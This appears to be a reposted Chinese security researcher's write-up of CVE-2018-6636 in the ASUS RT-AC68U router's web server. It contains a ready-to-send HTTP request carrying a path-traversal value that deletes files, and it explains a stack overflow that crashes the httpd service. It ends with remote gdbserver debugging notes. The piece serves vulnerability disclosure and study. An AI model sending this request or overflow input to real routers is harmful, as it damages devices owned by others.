Asuswrt RT-AC68U 華碩路由器文件刪除漏洞 && 棧溢出


周末公司舉辦了技術團建,對路由器挺感興趣的,挖到一枚漏洞,感謝楊博士的指導。已申請為CVE-2018-6636
軟廣一波~233333,想加入chaitin可以郵件聯系我

源代碼: https://github.com/Shonk/asuswrt/blob/d288a9cd0ddbe77b0f930c35ec0c061e78878ca4/release/src/router/httpd/web.c

void del_upload_icon(char *value) {
	char *buf, *g, *p;
	char filename[32];
	memset(filename, 0, 32);

	g = buf = strdup(value);
	while (buf) {
		if ((p = strsep(&g, ">")) == NULL) break;

		if(strcmp(p, "")) {
			sprintf(filename, "/jffs/usericon/%s.log", p);
			//Delete exist file
			if(check_if_file_exist(filename)) {
				unlink(filename);
			}
		}
	}
	free(buf);
}

發現有一個unlink,在這個函數里面未有一些過濾,查看函數的調用

static int validate_apply(webs_t wp, json_object *root) {
...省略
else if(!strcmp(name, "custom_usericon_del")) {
	(void)del_upload_icon(value);
	nvram_set(name, "");
	nvram_modified = 1;
}
...省略
}

發現對用戶的圖片進行刪除的時候回調用del_upload_icon函數,對validate_apply函數的調用進行查看

apply_cgi(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg,
		char_t *url, char_t *path, char_t *query)
{	
	省略...
	if (!strcmp(action_mode, "apply")) {
		if (!validate_apply(wp,root)) {
			websWrite(wp, "NOT MODIFIED\n");
		}
		else {
			websWrite(wp, "MODIFIED\n");
		}

		action_para = get_cgi_json("rc_service",root);

		if(action_para && strlen(action_para) > 0) {
			notify_rc(action_para);
		}
		websWrite(wp, "RUN SERVICE\n");
	}
	省略...
}

可以看到apply_cgi最后是進行了調用

漏洞復現

此漏洞是/jffs/usericon/%s.log,其中%s可控,而且整個過程並未有一些檢測操作,所以可以造成跨目錄刪除log文件

HTTP包(需要用戶登錄)

POST /start_apply2.htm HTTP/1.1
Host: 192.168.1.1
Content-Length: 191
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Referer: http://192.168.1.1/start_apply2.htm
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
Cookie: traffic_warning_0=2018.1:1; wireless_list_9C:5C:8E:8B:D5:B0_temp=<40:C6:2A:8D:3C:06>Yes<00:28:F8:CE:48:98>Yes<DC:A9:04:82:D7:32>Yes<8C:85:90:35:83:BA>Yes<94:65:2D:A0:91:D8>Yes<AC:BC:32:90:2C:AF>Yes<BC:54:36:07:30:71>Yes; demo=1; nwmapRefreshTime=1517641501975; maxBandwidth=100; hwaddr=9C:5C:8E:8B:D5:B0; apps_last=; clock_type=1; bw_rtab=WIRED; clickedItem_tab=0; asus_token=a4coFDlYKDcnGnuNTBf8qyMGVj1457U
Connection: close

current_page=index.asp&next_page=index.asp&modified=0&flag=background&action_mode=apply&action_script=saveNvram&action_wait=1&custom_clientlist=&custom_usericon=&custom_usericon_del=../../tmp/l3m0ntest

棧溢出

回過頭來看del_upload_icon函數,其實漏洞較簡單,但是平時挖洞都是web思維。

void del_upload_icon(char *value) {
	char *buf, *g, *p;
	char filename[32];
	memset(filename, 0, 32);

	g = buf = strdup(value);
	while (buf) {
		if ((p = strsep(&g, ">")) == NULL) break;

		if(strcmp(p, "")) {
			sprintf(filename, "/jffs/usericon/%s.log", p);
			//Delete exist file
			if(check_if_file_exist(filename)) {
				unlink(filename);
			}
		}
	}
	free(buf);
}

可以看到filename設置的大小為32,p期間並沒有做任何的長度校驗,發送超長字符,進入sprintf的時候會導致棧溢出

發現httpd服務crash,然后接着就重啟.

gdb server遠程調試

記錄一下一些調試

https://github.com/mzpqnxow/embedded-toolkit

找一個編譯好的gdbserver,自己編譯出了太多問題了

然后本地再編譯一下gdb,注意需要交叉編譯

./configure --target=arm-linux --prefix=$PWD/installed -v
make
make install

期間make出現報錯: no termcap library found
wget http://ftp.gnu.org/gnu/termcap/termcap-1.3.1.tar.gz
./configure && make && make install
cp termcap.h /usr/include/ && cp libtermcap.a /usr/lib/

gdbserver:

gdbserver IP:PORT --attach PID
gdbserver 192.168.50.1:23333 --attach 3840

gdb:

target remote 192.168.50.1:23333


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM